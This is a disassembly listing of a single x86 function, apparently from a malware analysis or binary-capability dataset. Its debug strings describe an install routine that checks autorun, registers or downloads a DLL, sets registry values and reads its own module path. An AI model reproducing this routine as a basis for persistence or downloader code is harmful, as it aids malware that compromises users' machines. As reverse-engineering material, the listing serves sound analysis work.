Function at 0x403d90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x215c
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
push edi
mov dword [esp + 0x2164], eax
call fcn.00403220
push str._nWithin_gethostname_install_n
call fcn.0040a180
xor eax, eax
xor ebx, ebx
mov byte [esp + 0x24], bl
mov ecx, 0xf
lea edi, [esp + 0x25]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x24]
push eax
call fcn.00403150
push str._nWithin_install_n
call fcn.0040a180
add esp, 0xc
call fcn.0040b000
test al, al
je 0x403e78
xor ecx, ecx
mov dword [esp + 0x11], ecx
lea edx, [esp + 0x10]
mov word [esp + 0x15], cx
push edx
mov byte [esp + 0x14], bl
mov byte [esp + 0x1b], cl
call fcn.0040b190
xor eax, eax
mov dword [esp + 0x1d], eax
lea ecx, [esp + 0x1c]
mov word [esp + 0x21], ax
push ecx
mov byte [esp + 0x20], bl
mov byte [esp + 0x27], al
call fcn.0040aea0
add esp, 8
lea esi, [esp + 0x10]
lea eax, [esp + 0x18]
lea ecx, [ecx]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403e64
cmp cl, bl
je 0x403e60
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403e64
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403e40
xor eax, eax
jmp 0x403e69
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x403e86
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040aec0
push ebx
call fcn.00402b50
add esp, 4
lea eax, [esp + 0x20]
push eax
push str.Before_checking_autorun
call fcn.0040a170
mov byte [esp + 0x68], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x69]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x68]
push ecx
stosw word es:[edi], ax
call fcn.00409860
call fcn.0040aa30
lea edx, [esp + 0x6c]
push 0x41b93c
push edx
mov esi, eax
call fcn.00412990
add esp, 0x14
test eax, eax
je 0x403f34
cmp esi, ebx
jne 0x403f63
push str._nWinXp__trying_to_register_DLL__n
call fcn.0040a180
call fcn.0040aac0
push str._nDownloaded_dll__n
call fcn.0040a180
add esp, 8
call fcn.0040aa30
test eax, eax
jne 0x403f63
push str._nDLL_not_downloaded__n
call fcn.0040a180
add esp, 4
call fcn.00401660
test al, al
jne 0x403f84
call fcn.004011e0
call fcn.00401660
test al, al
je 0x403f84
lea eax, [esp + 0x20]
push eax
push str.Autorun_successful
call fcn.0040a170
add esp, 8
jmp 0x403f84
cmp esi, ebx
jne 0x403f63
call fcn.00401660
test al, al
jne 0x403f84
call fcn.004011e0
call fcn.00401660
test al, al
je 0x403f84
lea ecx, [esp + 0x20]
push ecx
push str.Autorun_successful
call fcn.0040a170
add esp, 8
jmp 0x403f84
push str._nUnsetting_register__n
call fcn.0040a180
call fcn.004012d0
push str._nSetting_register__n
call fcn.0040a180
add esp, 8
call fcn.004013e0
lea edx, [esp + 0x20]
push edx
push str.Before_getting_current_module_name
call fcn.0040a170
xor eax, eax
mov byte [esp + 0x168], bl
mov ecx, 0x3ff
lea edi, [esp + 0x169]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
push 0x1000
lea eax, [esp + 0x164]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x164]
push edx
call fcn.0040a170
xor eax, eax
mov byte [esp + 0x1168], bl
mov ecx, 0x3ff
lea edi, [esp + 0x1169]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1168]
push eax
call fcn.00402a30
lea ecx, [esp + 0x116c]
push ecx
lea edx, [esp + 0x170]
push edx
call fcn.004185eb
add esp, 0x14
test eax, eax
je 0x404036
lea eax, [esp + 0x1160]
push eax
call fcn.00402bf0
add esp, 4
push ebx
call fcn.0041294c
mov ecx, dword [esp + 0x2164]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret